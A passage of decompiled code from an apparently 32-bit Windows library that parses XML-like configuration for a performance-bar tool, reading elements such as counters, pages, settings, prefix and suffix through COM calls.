																																																	_t1841 =  >=  ? _v108 :  &_v108;
																																																	_v116 =  *((intOrPtr*)( *_t1868 + 0xe8));
																																																	_v148 = 8;
																																																	__imp__#2(_t1841);
																																																	_v140 = 8;
																																																	__eflags = 8;
																																																	if(8 != 0) {
																																																		L673:
																																																		_v48 = 6;
																																																		asm("movups xmm0, [ebp-0x68]");
																																																		_t1952 = _t1952 - 0x10;
																																																		asm("movups [eax], xmm0");
																																																		_t1869 = _v116(_t1868,  &_v112);
																																																		__imp__#9( &_v148);
																																																		__eflags = _t1869;
																																																		if(_t1869 != 0) {
																																																			goto L719;
																																																		} else {
																																																			_v76 = _t1869;
																																																			_v48 = 8;
																																																			_t1055 = _v80;
																																																			__eflags = _t1055;
																																																			if(__eflags == 0) {
																																																				goto L732;
																																																			} else {
																																																				_t1656 =  *_t1055;
																																																				_t1823 =  &_v76;
																																																				_v48 = 8;
																																																				_v76 = _t1869;
																																																				_t1056 =  *((intOrPtr*)(_t1656 + 0xb4))(_t1055,  &_v76);
																																																				__eflags = _t1056;
																																																				if(_t1056 >= 0) {
																																																					_v84 = 0;
																																																					_v48 = 0xc;
																																																					_t1057 = _v76;
																																																					__eflags = _t1057;
																																																					if(__eflags == 0) {
																																																						goto L732;
																																																					} else {
																																																						_t1823 =  &_v84;
																																																						_t1058 =  *((intOrPtr*)( *_t1057 + 0x1c))(_t1057,  &_v84);
																																																						_t1842 = __imp__#6;
																																																						__eflags = _t1058;
																																																						if(_t1058 >= 0) {
																																																							_t1656 =  &_v84;
																																																							_t1059 = E6E8F7BD0(_t1594, _t1656, _t1842, _t1869, "perfbar");
																																																							__eflags = _t1059;
																																																							if(_t1059 == 0) {
																																																								L710:
																																																								_v117 = 1;
																																																								goto L711;
																																																							} else {
																																																								_v68 = 0;
																																																								_v48 = 0xf;
																																																								_t1063 = _v76;
																																																								__eflags = _t1063;
																																																								if(__eflags == 0) {
																																																									goto L732;
																																																								} else {
																																																									_t1656 =  *_t1063;
																																																									_t1823 =  &_v68;
																																																									_v48 = 0xf;
																																																									_v68 = 0;
																																																									 *((intOrPtr*)(_t1656 + 0x34))(_t1063,  &_v68);
																																																									_t1065 = _v68;
																																																									__eflags = _t1065;
																																																									if(_t1065 == 0) {
																																																										L708:
																																																										_v48 = 0x1e;
																																																										__eflags = _t1065;
																																																										if(_t1065 != 0) {
																																																											 *((intOrPtr*)( *_t1065 + 8))(_t1065);
																																																										}
																																																										goto L710;
																																																									} else {
																																																										while(1) {
																																																											_v116 = 0;
																																																											_v48 = 0x11;
																																																											__eflags = _t1065;
																																																											if(__eflags == 0) {
																																																												goto L732;
																																																											}
																																																											_t1823 =  &_v116;
																																																											_t1067 =  *((intOrPtr*)( *_t1065 + 0x1c))(_t1065,  &_v116);
																																																											__eflags = _t1067;
																																																											if(_t1067 < 0) {
																																																												L716:
																																																												 *_t1842(_v116);
																																																												_v48 = 0x18;
																																																												_t1069 = _v68;
																																																												__eflags = _t1069;
																																																												if(_t1069 != 0) {
																																																													 *((intOrPtr*)( *_t1069 + 8))(_t1069);
																																																												}
																																																												_v117 = 0;
																																																												goto L711;
																																																											} else {
																																																												_t1071 = MultiByteToWideChar(3, 0, "counters", 0xffffffff, 0, 0);
																																																												_t1870 = _t1071;
																																																												_t1656 = _t1870 - 1;
																																																												__imp__#4(0, _t1656);
																																																												_t1841 = _t1071;
																																																												__eflags = _t1841;
																																																												if(_t1841 == 0) {
																																																													goto L731;
																																																												} else {
																																																													_t1073 = MultiByteToWideChar(3, 0, "counters", 0xffffffff, _t1841, _t1870);
																																																													__eflags = _t1073 - _t1870;
																																																													if(_t1073 != _t1870) {
																																																														goto L730;
																																																													} else {
																																																														__imp__#314(_v116, _t1841, 0x400, 0);
																																																														_t1842 = __imp__#6;
																																																														_t1871 = _t1073;
																																																														 *_t1842(_t1841);
																																																														__eflags = _t1073 - 1;
																																																														if(_t1073 != 1) {
																																																															_t1077 = MultiByteToWideChar(3, 0, "pages", 0xffffffff, 0, 0);
																																																															_t1872 = _t1077;
																																																															_t1656 = _t1872 - 1;
																																																															__imp__#4(0, _t1656);
																																																															_t1841 = _t1077;
																																																															__eflags = _t1841;
																																																															if(_t1841 == 0) {
																																																																goto L731;
																																																															} else {
																																																																_t1078 = MultiByteToWideChar(3, 0, "pages", 0xffffffff, _t1841, _t1872);
																																																																__eflags = _t1078 - _t1872;
																																																																if(_t1078 != _t1872) {
																																																																	goto L730;
																																																																} else {
																																																																	__imp__#314(_v116, _t1841, 0x400, 0);
																																																																	_t1842 = __imp__#6;
																																																																	_t1873 = _t1078;
																																																																	 *_t1842(_t1841);
																																																																	__eflags = _t1078 - 1;
																																																																	if(_t1078 != 1) {
																																																																		_t1080 = MultiByteToWideChar(3, 0, "settings", 0xffffffff, 0, 0);
																																																																		_t1874 = _t1080;
																																																																		_t1656 = _t1874 - 1;
																																																																		__imp__#4(0, _t1656);
																																																																		_t1841 = _t1080;
																																																																		__eflags = _t1841;
																																																																		if(_t1841 == 0) {
																																																																			goto L731;
																																																																		} else {
																																																																			_t1081 = MultiByteToWideChar(3, 0, "settings", 0xffffffff, _t1841, _t1874);
																																																																			__eflags = _t1081 - _t1874;
																																																																			if(_t1081 != _t1874) {
																																																																				goto L730;
																																																																			} else {
																																																																				__imp__#314(_v116, _t1841, 0x400, 0);
																																																																				_t1842 = __imp__#6;
																																																																				 *_t1842(_t1841);
																																																																				__eflags = _t1081 - 1;
																																																																				if(_t1081 == 1) {
																																																																					_t1656 =  &_v68;
																																																																					_t1823 = _v128 + 0x2c;
																																																																					L548();
																																																																				}
																																																																				goto L698;
																																																																			}
																																																																		}
																																																																	} else {
																																																																		_t1823 = _v124;
																																																																		_t1656 =  &_v68;
																																																																		E6E8F8730(_t1594, _t1656, _v124, _t1842, _t1873, _t1996);
																																																																		goto L698;
																																																																	}
																																																																}
																																																															}
																																																														} else {
																																																															_t1823 = _v128;
																																																															_t1656 =  &_v68;
																																																															E6E8F8380(_t1594, _t1656, _v128, _t1842, _t1871, _t1996);
																																																															L698:
																																																															_v72 = 0;
																																																															_v48 = 0x15;
																																																															_t1083 = _v68;
																																																															__eflags = _t1083;
																																																															if(__eflags == 0) {
																																																																goto L732;
																																																															} else {
																																																																_t1823 =  &_v72;
																																																																_v48 = 0x15;
																																																																_v72 = 0;
																																																																_t1084 =  *((intOrPtr*)( *_t1083 + 0x40))(_t1083,  &_v72);
																																																																__eflags = _t1084;
																																																																if(_t1084 < 0) {
																																																																	_v48 = 0x17;
																																																																	_t1085 = _v72;
																																																																	__eflags = _t1085;
																																																																	if(_t1085 != 0) {
																																																																		 *((intOrPtr*)( *_t1085 + 8))(_t1085);
																																																																	}
																																																																	goto L716;
																																																																} else {
																																																																	_t1656 = _v68;
																																																																	_t1087 = _v72;
																																																																	__eflags = _t1656 - _t1087;
																																																																	if(_t1656 != _t1087) {
																																																																		_t1876 = _t1087;
																																																																		_v48 = 0x1b;
																																																																		__eflags = _t1876;
																																																																		if(_t1876 != 0) {
																																																																			 *((intOrPtr*)( *_t1087 + 4))(_t1087);
																																																																			_t1656 = _v68;
																																																																			_t1087 = _v72;
																																																																		}
																																																																		_v68 = _t1876;
																																																																		_v48 = 0x1c;
																																																																		__eflags = _t1656;
																																																																		if(_t1656 != 0) {
																																																																			 *((intOrPtr*)( *_t1656 + 8))(_t1656);
																																																																			_t1087 = _v72;
																																																																		}
																																																																	}
																																																																	_v48 = 0x1d;
																																																																	__eflags = _t1087;
																																																																	if(_t1087 != 0) {
																																																																		_t1656 =  *_t1087;
																																																																		 *((intOrPtr*)(_t1656 + 8))(_t1087);
																																																																	}
																																																																	 *_t1842(_v116);
																																																																	_t1065 = _v68;
																																																																	__eflags = _t1065;
																																																																	if(_t1065 != 0) {
																																																																		continue;
																																																																	} else {
																																																																		goto L708;
																																																																	}
																																																																}
																																																															}
																																																														}
																																																													}
																																																												}
																																																											}
																																																											goto L737;
																																																										}
																																																										goto L732;
																																																									}
																																																								}
																																																							}
																																																						} else {
																																																							_v117 = 0;
																																																							L711:
																																																							 *_t1842(_v84);
																																																							goto L712;
																																																						}
																																																					}
																																																				} else {
																																																					_v117 = 0;
																																																					L712:
																																																					_v48 = 0x1f;
																																																					_t1061 = _v76;
																																																					__eflags = _t1061;
																																																					if(_t1061 != 0) {
																																																						 *((intOrPtr*)( *_t1061 + 8))(_t1061);
																																																					}
																																																					L720:
																																																					_v48 = 0;
																																																					_t1823 = _v88;
																																																					__eflags = _t1823 - 8;
																																																					if(_t1823 < 8) {
																																																						L724:
																																																						_v92 = 0;
																																																						_v108 = 0;
																																																						_t1029 = _v80;
																																																						_v88 = 7;
																																																						L726:
																																																						_v48 = 0x20;
																																																						__eflags = _t1029;
																																																						if(_t1029 != 0) {
																																																							 *((intOrPtr*)( *_t1029 + 8))(_t1029);
																																																						}
																																																						 *[fs:0x0] = _v56;
																																																						_pop(_t1839);
																																																						_pop(_t1866);
																																																						__eflags = _v64 ^ _t1923;
																																																						return E6E904160(_v117, _t1594, _v64 ^ _t1923, _t1823, _t1839, _t1866);
																																																					} else {
																																																						_t1656 = _v108;
																																																						_t1823 = 2 + _t1823 * 2;
																																																						_t1037 = _t1656;
																																																						__eflags = _t1823 - 0x1000;
																																																						if(_t1823 < 0x1000) {
																																																							L723:
																																																							_push(_t1823);
																																																							E6E90416E(_t1656);
																																																							goto L724;
																																																						} else {
																																																							_t1656 =  *(_t1656 - 4);
																																																							_t1823 = _t1823 + 0x23;
																																																							__eflags = _t1037 - _t1656 + 0xfffffffc - 0x1f;
																																																							if(__eflags > 0) {
																																																								L733:
																																																								E6E90D5F4(_t1594, _t1656, _t1823, __eflags);
																																																								asm("int3");
																																																								asm("int3");
																																																								asm("int3");
																																																								asm("int3");
																																																								asm("int3");
																																																								asm("int3");
																																																								asm("int3");
																																																								asm("int3");
																																																								asm("int3");
																																																								asm("int3");
																																																								asm("int3");
																																																								asm("int3");
																																																								asm("int3");
																																																								_push(_t1923);
																																																								_push(0xffffffff);
																																																								_push(0x6e928ad0);
																																																								_push( *[fs:0x0]);
																																																								_push( *0x6e93d008 ^ _t1952);
																																																								_t1045 =  &_v1652;
																																																								 *[fs:0x0] = _t1045;
																																																								_v1644 = 0;
																																																								_t1657 =  *_t1656;
																																																								__eflags = _t1657;
																																																								if(_t1657 != 0) {
																																																									_t1045 =  *((intOrPtr*)( *_t1657 + 8))(_t1657);
																																																								}
																																																								 *[fs:0x0] = _v60;
																																																								return _t1045;
																																																							} else {
																																																								goto L723;
																																																							}
																																																						}
																																																					}
																																																				}
																																																			}
																																																		}
																																																	} else {
																																																		__eflags = _t1841;
																																																		if(_t1841 != 0) {
																																																			E6E907500(0x8007000e);
																																																			L730:
																																																			 *__imp__#6(_t1841);
																																																			L731:
																																																			E6E8F7B80(0x8007000e);
																																																			goto L732;
																																																		} else {
																																																			goto L673;
																																																		}
																																																	}
																																																}
																																															}
																																														}
																																													}
																																												} else {
																																													_t1113 = _t1823;
																																													goto L642;
																																												}
																																											}
																																										}
																																									}
																																								}
																																							} else {
																																								_t1823 =  &_v44;
																																								_v24 = 0;
																																								_v44 = 0;
																																								_t1118 =  *((intOrPtr*)( *_t1636 + 0x44))(_t1636,  &_v44);
																																								__eflags = _t1118;
																																								if(_t1118 < 0) {
																																									L627:
																																									_t1596 = 0;
																																									__eflags = 0;
																																									goto L628;
																																								} else {
																																									_t1122 = _v44;
																																									__eflags = _t1122;
																																									if(_t1122 == 0) {
																																										goto L633;
																																									} else {
																																										_t1636 =  *_t1122;
																																										_t1823 =  &_v56;
																																										_t1123 =  *((intOrPtr*)(_t1636 + 0x2c))(_t1122,  &_v56);
																																										__eflags = _t1123;
																																										if(_t1123 < 0) {
																																											goto L627;
																																										} else {
																																											_t1124 = 0;
																																											_v40 = 0;
																																											_v24 = 4;
																																											_v100 = 0;
																																											__eflags = _v56;
																																											if(_v56 <= 0) {
																																												L622:
																																												_t1596 = 1;
																																												goto L623;
																																											} else {
																																												_t1591 = __imp__#6;
																																												while(1) {
																																													_t1860 = _v44;
																																													__eflags = _t1860;
																																													if(_t1860 == 0) {
																																														goto L633;
																																													}
																																													_t1636 =  *_t1860;
																																													_t1837 =  *(_t1636 + 0x28);
																																													_v24 = 5;
																																													__eflags = _t1124;
																																													if(_t1124 != 0) {
																																														_t1636 =  *_t1124;
																																														 *((intOrPtr*)(_t1636 + 8))(_t1124);
																																													}
																																													_v24 = 4;
																																													_v40 = 0;
																																													_t1127 =  *_t1837(_t1860, _v100,  &_v40);
																																													__eflags = _t1127;
																																													if(_t1127 < 0) {
																																														L626:
																																														_t1124 = _v40;
																																														_t1596 = 0;
																																														L623:
																																														_v24 = 0x12;
																																														__eflags = _t1124;
																																														if(_t1124 != 0) {
																																															 *((intOrPtr*)( *_t1124 + 8))(_t1124);
																																														}
																																														L628:
																																														_v24 = 0x13;
																																														_t1676 = _v44;
																																														__eflags = _t1676;
																																														if(_t1676 != 0) {
																																															_t1823 =  *_t1676;
																																															 *((intOrPtr*)( *_t1676 + 8))(_t1676);
																																														}
																																														 *[fs:0x0] = _v32;
																																														_pop(_t1843);
																																														_pop(_t1877);
																																														_pop(_t1597);
																																														__eflags = _v36 ^ _t1918;
																																														return E6E904160(_t1596, _t1597, _v36 ^ _t1918, _t1823, _t1843, _t1877);
																																													} else {
																																														_v48 = 0;
																																														_v24 = 8;
																																														_t1128 = _v40;
																																														__eflags = _t1128;
																																														if(_t1128 == 0) {
																																															goto L633;
																																														} else {
																																															_t1636 =  *_t1128;
																																															_t1823 =  &_v48;
																																															_t1129 =  *((intOrPtr*)(_t1636 + 0x1c))(_t1128,  &_v48);
																																															__eflags = _t1129;
																																															if(_t1129 < 0) {
																																																L625:
																																																 *_t1591(_v48);
																																																goto L626;
																																															} else {
																																																_t1131 = _v40;
																																																__eflags = _t1131;
																																																if(_t1131 == 0) {
																																																	goto L633;
																																																} else {
																																																	_t1636 =  *_t1131;
																																																	_t1823 =  &_v92;
																																																	__eflags =  *((intOrPtr*)(_t1636 + 0x20))(_t1131,  &_v92);
																																																	if(__eflags < 0) {
																																																		goto L625;
																																																	} else {
																																																		_t1860 = _v48;
																																																		_t1133 = E6E90419F( &_v92, __eflags, 0xc);
																																																		_t1837 = _t1133;
																																																		_t1940 = _t1940 + 4;
																																																		_v124 = _t1837;
																																																		_v24 = 0xd;
																																																		__eflags = _t1837;
																																																		if(_t1837 == 0) {
																																																			_t1837 = 0;
																																																			__eflags = 0;
																																																			goto L567;
																																																		} else {
																																																			asm("xorps xmm0, xmm0");
																																																			asm("movq [edi], xmm0");
																																																			_t1837[4] = 0;
																																																			_t1837[2] = 0;
																																																			_t1837[4] = 1;
																																																			__imp__#2(_t1860);
																																																			 *_t1837 = _t1133;
																																																			__eflags = _t1133;
																																																			if(_t1133 != 0) {
																																																				L567:
																																																				_v24 = 8;
																																																				_v52 = _t1837;
																																																				__eflags = _t1837;
																																																				if(_t1837 == 0) {
																																																					goto L631;
																																																				} else {
																																																					_v24 = 0xe;
																																																					__imp__#8( &_v76);
																																																					_t1134 =  &_v76;
																																																					__imp__#10(_t1134,  &_v92);
																																																					__eflags = _t1134;
																																																					if(__eflags < 0) {
																																																						goto L632;
																																																					} else {
																																																						_v24 = 0xf;
																																																						_t1138 = E6E8F7C80(_t1591,  &_v104, _t1823, __eflags, "minSizeX");
																																																						_t1683 =  &_v52;
																																																						_t1139 = E6E8F7D80(_t1683, _t1138);
																																																						_t1878 = _v104;
																																																						_t1598 = _t1139;
																																																						__eflags = _t1878;
																																																						if(_t1878 != 0) {
																																																							asm("lock xadd [esi+0x8], ecx");
																																																							__eflags = (_t1683 | 0xffffffff) == 1;
																																																							if((_t1683 | 0xffffffff) == 1) {
																																																								__eflags = _t1878;
																																																								if(_t1878 != 0) {
																																																									_t1174 =  *_t1878;
																																																									__eflags = _t1174;
																																																									if(_t1174 != 0) {
																																																										__imp__#6(_t1174);
																																																										 *_t1878 = 0;
																																																									}
																																																									_t1175 =  *(_t1878 + 4);
																																																									__eflags = _t1175;
																																																									if(_t1175 != 0) {
																																																										E6E9041CF(_t1175);
																																																										_t1940 = _t1940 + 4;
																																																										 *(_t1878 + 4) = 0;
																																																									}
																																																									_push(0xc);
																																																									E6E90416E(_t1878);
																																																									_t1940 = _t1940 + 8;
																																																								}
																																																							}
																																																							_v104 = 0;
																																																						}
																																																						__eflags = _t1598;
																																																						if(__eflags != 0) {
																																																							_push( &_v76);
																																																							_t1691 =  &_v108;
																																																							_t1165 = E6E8F7ED0(_t1598,  &_v108, _t1823, _t1837, _t1878, _t1996);
																																																							_v24 = 0x10;
																																																							_t1882 =  *_t1165;
																																																							__eflags = _t1882;
																																																							if(_t1882 == 0) {
																																																								_t1166 = 0;
																																																								__eflags = 0;
																																																							} else {
																																																								_t1166 =  *(_t1882 + 4);
																																																								__eflags = _t1166;
																																																								if(_t1166 == 0) {
																																																									 *(_t1882 + 4) = E6E907520(_t1598,  *_t1882);
																																																								}
																																																							}
																																																							_t1167 = E6E914079(_t1691, _t1166);
																																																							_t1940 = _t1940 + 4;
																																																							_v24 = 0xf;
																																																							_t1883 = _v108;
																																																							 *_v116 = _t1167;
																																																							__eflags = _t1883;
																																																							if(__eflags != 0) {
																																																								asm("lock xadd [esi+0x8], eax");
																																																								__eflags = (_t1167 | 0xffffffff) - 1;
																																																								if(__eflags == 0) {
																																																									__eflags = _t1883;
																																																									if(__eflags != 0) {
																																																										_t1170 =  *_t1883;
																																																										__eflags = _t1170;
																																																										if(_t1170 != 0) {
																																																											__imp__#6(_t1170);
																																																											 *_t1883 = 0;
																																																										}
																																																										_t1171 =  *(_t1883 + 4);
																																																										__eflags =  *(_t1883 + 4);
																																																										if(__eflags != 0) {
																																																											E6E9041CF(_t1171);
																																																											_t1940 = _t1940 + 4;
																																																											 *(_t1883 + 4) = 0;
																																																										}
																																																										_push(0xc);
																																																										E6E90416E(_t1883);
																																																										_t1940 = _t1940 + 8;
																																																									}
																																																								}
																																																								_v108 = 0;
																																																							}
																																																						}
																																																						_t1140 = E6E8F7C80(_t1598,  &_v112, _t1823, __eflags, "minSizeY");
																																																						_t1685 =  &_v52;
																																																						_t1141 = E6E8F7D80(_t1685, _t1140);
																																																						_t1879 = _v112;
																																																						_t1599 = _t1141;
																																																						__eflags = _t1879;
																																																						if(_t1879 != 0) {
																																																							asm("lock xadd [esi+0x8], ecx");
																																																							__eflags = (_t1685 | 0xffffffff) == 1;
																																																							if((_t1685 | 0xffffffff) == 1) {
																																																								__eflags = _t1879;
																																																								if(_t1879 != 0) {
																																																									_t1160 =  *_t1879;
																																																									__eflags = _t1160;
																																																									if(_t1160 != 0) {
																																																										__imp__#6(_t1160);
																																																										 *_t1879 = 0;
																																																									}
																																																									_t1161 =  *(_t1879 + 4);
																																																									__eflags = _t1161;
																																																									if(_t1161 != 0) {
																																																										E6E9041CF(_t1161);
																																																										_t1940 = _t1940 + 4;
																																																										 *(_t1879 + 4) = 0;
																																																									}
																																																									_push(0xc);
																																																									E6E90416E(_t1879);
																																																									_t1940 = _t1940 + 8;
																																																								}
																																																							}
																																																							_v112 = 0;
																																																						}
																																																						__eflags = _t1599;
																																																						if(_t1599 != 0) {
																																																							_push( &_v76);
																																																							_t1687 =  &_v120;
																																																							_t1151 = E6E8F7ED0(_t1599,  &_v120, _t1823, _t1837, _t1879, _t1996);
																																																							_v24 = 0x11;
																																																							_t1880 =  *_t1151;
																																																							__eflags = _t1880;
																																																							if(_t1880 == 0) {
																																																								_t1152 = 0;
																																																								__eflags = 0;
																																																							} else {
																																																								_t1152 =  *(_t1880 + 4);
																																																								__eflags = _t1152;
																																																								if(_t1152 == 0) {
																																																									 *(_t1880 + 4) = E6E907520(_t1599,  *_t1880);
																																																								}
																																																							}
																																																							_t1153 = E6E914079(_t1687, _t1152);
																																																							_t1940 = _t1940 + 4;
																																																							_t1881 = _v120;
																																																							 *(_v116 + 4) = _t1153;
																																																							__eflags = _t1881;
																																																							if(_t1881 != 0) {
																																																								asm("lock xadd [esi+0x8], eax");
																																																								__eflags = (_t1153 | 0xffffffff) == 1;
																																																								if((_t1153 | 0xffffffff) == 1) {
																																																									__eflags = _t1881;
																																																									if(_t1881 != 0) {
																																																										_t1156 =  *_t1881;
																																																										__eflags = _t1156;
																																																										if(_t1156 != 0) {
																																																											__imp__#6(_t1156);
																																																											 *_t1881 = 0;
																																																										}
																																																										_t1157 =  *(_t1881 + 4);
																																																										__eflags = _t1157;
																																																										if(_t1157 != 0) {
																																																											E6E9041CF(_t1157);
																																																											_t1940 = _t1940 + 4;
																																																											 *(_t1881 + 4) = 0;
																																																										}
																																																										_push(0xc);
																																																										E6E90416E(_t1881);
																																																										_t1940 = _t1940 + 8;
																																																									}
																																																								}
																																																								_v120 = 0;
																																																							}
																																																						}
																																																						_t1142 =  &_v76;
																																																						__imp__#9(_t1142);
																																																						asm("lock xadd [edi+0x8], eax");
																																																						__eflags = (_t1142 | 0xffffffff) == 1;
																																																						if((_t1142 | 0xffffffff) == 1) {
																																																							_t1146 =  *_t1837;
																																																							__eflags = _t1146;
																																																							if(_t1146 != 0) {
																																																								__imp__#6(_t1146);
																																																								 *_t1837 = 0;
																																																							}
																																																							_t1147 = _t1837[2];
																																																							__eflags = _t1147;
																																																							if(_t1147 != 0) {
																																																								E6E9041CF(_t1147);
																																																								_t1940 = _t1940 + 4;
																																																								_t1837[2] = 0;
																																																							}
																																																							_push(0xc);
																																																							E6E90416E(_t1837);
																																																							_t1940 = _t1940 + 8;
																																																						}
																																																						_v24 = 4;
																																																						_t1591 = __imp__#6;
																																																						 *_t1591(_v48);
																																																						_t1124 = _v40;
																																																						_t1636 = _v100 + 1;
																																																						_v100 = _t1636;
																																																						__eflags = _t1636 - _v56;
																																																						if(_t1636 < _v56) {
																																																							continue;
																																																						} else {
																																																							goto L622;
																																																						}
																																																					}
																																																				}
																																																			} else {
																																																				__eflags = _t1860;
																																																				if(_t1860 != 0) {
																																																					L631:
																																																					_t1134 = E6E907500(0x8007000e);
																																																					L632:
																																																					E6E907500(_t1134);
																																																					goto L633;
																																																				} else {
																																																					goto L567;
																																																				}
																																																			}
																																																		}
																																																	}
																																																}
																																															}
																																														}
																																													}
																																													goto L737;
																																												}
																																												goto L633;
																																											}
																																										}
																																									}
																																								}
																																							}
																																						} else {
																																							_t1823 =  &_v44;
																																							_v20 = 0;
																																							_v44 = 0;
																																							_t1180 =  *((intOrPtr*)( *_t1635 + 0x44))(_t1635, _t1823);
																																							__eflags = _t1180;
																																							if(_t1180 < 0) {
																																								L541:
																																								_t1600 = 0;
																																								__eflags = 0;
																																								goto L542;
																																							} else {
																																								_t1184 = _v44;
																																								__eflags = _t1184;
																																								if(_t1184 == 0) {
																																									goto L547;
																																								} else {
																																									_t1635 =  *_t1184;
																																									_t1823 =  &_v52;
																																									_t1185 =  *((intOrPtr*)(_t1635 + 0x2c))(_t1184, _t1823);
																																									__eflags = _t1185;
																																									if(_t1185 < 0) {
																																										goto L541;
																																									} else {
																																										_t1186 = 0;
																																										_v36 = 0;
																																										_v20 = 4;
																																										_v100 = 0;
																																										__eflags = _v52;
																																										if(_v52 <= 0) {
																																											L536:
																																											_t1600 = 1;
																																											goto L537;
																																										} else {
																																											_t1591 = __imp__#6;
																																											while(1) {
																																												_t1860 = _v44;
																																												__eflags = _t1860;
																																												if(_t1860 == 0) {
																																													goto L547;
																																												}
																																												_t1635 =  *_t1860;
																																												_t1837 =  *(_t1635 + 0x28);
																																												_v20 = 5;
																																												__eflags = _t1186;
																																												if(_t1186 != 0) {
																																													_t1635 =  *_t1186;
																																													 *((intOrPtr*)(_t1635 + 8))(_t1186);
																																												}
																																												_v20 = 4;
																																												_v36 = 0;
																																												_t1189 =  *_t1837(_t1860, _v100,  &_v36);
																																												__eflags = _t1189;
																																												if(_t1189 < 0) {
																																													L540:
																																													_t1186 = _v36;
																																													_t1600 = 0;
																																													L537:
																																													_v20 = 0x16;
																																													__eflags = _t1186;
																																													if(_t1186 != 0) {
																																														 *((intOrPtr*)( *_t1186 + 8))(_t1186);
																																													}
																																													L542:
																																													_v20 = 0x17;
																																													_t1695 = _v44;
																																													__eflags = _t1695;
																																													if(_t1695 != 0) {
																																														_t1823 =  *_t1695;
																																														 *((intOrPtr*)( *_t1695 + 8))(_t1695);
																																													}
																																													 *[fs:0x0] = _v28;
																																													_pop(_t1844);
																																													_pop(_t1884);
																																													_pop(_t1601);
																																													__eflags = _v32 ^ _t1917;
																																													return E6E904160(_t1600, _t1601, _v32 ^ _t1917, _t1823, _t1844, _t1884);
																																												} else {
																																													_v48 = 0;
																																													_v20 = 8;
																																													_t1190 = _v36;
																																													__eflags = _t1190;
																																													if(_t1190 == 0) {
																																														goto L547;
																																													} else {
																																														_t1635 =  *_t1190;
																																														_t1823 =  &_v48;
																																														_t1191 =  *((intOrPtr*)(_t1635 + 0x1c))(_t1190, _t1823);
																																														__eflags = _t1191;
																																														if(_t1191 < 0) {
																																															L539:
																																															 *_t1591(_v48);
																																															goto L540;
																																														} else {
																																															_t1193 = _v36;
																																															__eflags = _t1193;
																																															if(_t1193 == 0) {
																																																goto L547;
																																															} else {
																																																_t1635 =  *_t1193;
																																																_t1823 =  &_v88;
																																																__eflags =  *((intOrPtr*)(_t1635 + 0x20))(_t1193, _t1823);
																																																if(__eflags < 0) {
																																																	goto L539;
																																																} else {
																																																	_t1860 = _v48;
																																																	_t1195 = E6E90419F(_t1823, __eflags, 0xc);
																																																	_t1837 = _t1195;
																																																	_t1939 = _t1939 + 4;
																																																	_v152 = _t1837;
																																																	_v20 = 0xd;
																																																	__eflags = _t1837;
																																																	if(_t1837 == 0) {
																																																		_t1837 = 0;
																																																		__eflags = 0;
																																																		goto L386;
																																																	} else {
																																																		asm("xorps xmm0, xmm0");
																																																		asm("movq [edi], xmm0");
																																																		_t1837[4] = 0;
																																																		_t1837[2] = 0;
																																																		_t1837[4] = 1;
																																																		__imp__#2(_t1860);
																																																		 *_t1837 = _t1195;
																																																		__eflags = _t1195;
																																																		if(_t1195 != 0) {
																																																			L386:
																																																			_v20 = 8;
																																																			_v40 = _t1837;
																																																			__eflags = _t1837;
																																																			if(_t1837 == 0) {
																																																				goto L545;
																																																			} else {
																																																				_v20 = 0xe;
																																																				__imp__#8( &_v72);
																																																				_t1196 =  &_v72;
																																																				__imp__#10(_t1196,  &_v88);
																																																				__eflags = _t1196;
																																																				if(__eflags < 0) {
																																																					goto L546;
																																																				} else {
																																																					_v20 = 0xf;
																																																					_t1200 = E6E8F7C80(_t1591,  &_v104, _t1823, __eflags, "prefix");
																																																					_t1702 =  &_v40;
																																																					_t1201 = E6E8F7D80(_t1702, _t1200);
																																																					_t1885 = _v104;
																																																					_t1602 = _t1201;
																																																					__eflags = _t1885;
																																																					if(_t1885 != 0) {
																																																						asm("lock xadd [esi+0x8], ecx");
																																																						__eflags = (_t1702 | 0xffffffff) == 1;
																																																						if((_t1702 | 0xffffffff) == 1) {
																																																							__eflags = _t1885;
																																																							if(_t1885 != 0) {
																																																								_t1304 =  *_t1885;
																																																								__eflags = _t1304;
																																																								if(_t1304 != 0) {
																																																									__imp__#6(_t1304);
																																																									 *_t1885 = 0;
																																																								}
																																																								_t1305 =  *(_t1885 + 4);
																																																								__eflags = _t1305;
																																																								if(_t1305 != 0) {
																																																									E6E9041CF(_t1305);
																																																									_t1939 = _t1939 + 4;
																																																									 *(_t1885 + 4) = 0;
																																																								}
																																																								_push(0xc);
																																																								E6E90416E(_t1885);
																																																								_t1939 = _t1939 + 8;
																																																							}
																																																						}
																																																						_v104 = 0;
																																																					}
																																																					__eflags = _t1602;
																																																					if(__eflags == 0) {
																																																						_t1202 = E6E8F7C80(_t1602,  &_v112, _t1823, __eflags, "suffix");
																																																						_t1704 =  &_v40;
																																																						_t1203 = E6E8F7D80(_t1704, _t1202);
																																																						_t1886 = _v112;
																																																						_t1603 = _t1203;
																																																						__eflags = _t1886;
																																																						if(_t1886 != 0) {
																																																							asm("lock xadd [esi+0x8], ecx");
																																																							__eflags = (_t1704 | 0xffffffff) == 1;
																																																							if((_t1704 | 0xffffffff) == 1) {
																																																								__eflags = _t1886;
																																																								if(_t1886 != 0) {
																																																									_t1289 =  *_t1886;
																																																									__eflags = _t1289;
																																																									if(_t1289 != 0) {
																																																										__imp__#6(_t1289);
																																																										 *_t1886 = 0;
																																																									}
																																																									_t1290 =  *(_t1886 + 4);
																																																									__eflags = _t1290;
																																																									if(_t1290 != 0) {
																																																										E6E9041CF(_t1290);
																																																										_t1939 = _t1939 + 4;
																																																										 *(_t1886 + 4) = 0;
																																																									}
																																																									_push(0xc);
																																																									E6E90416E(_t1886);
																																																									_t1939 = _t1939 + 8;
																																																								}
																																																							}
																																																							_v112 = 0;
																																																						}
																																																						__eflags = _t1603;
																																																						if(__eflags == 0) {
																																																							_t1204 = E6E8F7C80(_t1603,  &_v120, _t1823, __eflags, "counter");
																																																							_t1706 =  &_v40;
																																																							_t1205 = E6E8F7D80(_t1706, _t1204);
																																																							_t1887 = _v120;
																																																							_t1604 = _t1205;
																																																							__eflags = _t1887;
																																																							if(_t1887 != 0) {
																																																								asm("lock xadd [esi+0x8], ecx");
																																																								__eflags = (_t1706 | 0xffffffff) == 1;
																																																								if((_t1706 | 0xffffffff) == 1) {
																																																									__eflags = _t1887;
																																																									if(_t1887 != 0) {
																																																										_t1274 =  *_t1887;
																																																										__eflags = _t1274;
																																																										if(_t1274 != 0) {
																																																											__imp__#6(_t1274);
																																																											 *_t1887 = 0;
																																																										}
																																																										_t1275 =  *(_t1887 + 4);
																																																										__eflags = _t1275;
																																																										if(_t1275 != 0) {
																																																											E6E9041CF(_t1275);
																																																											_t1939 = _t1939 + 4;
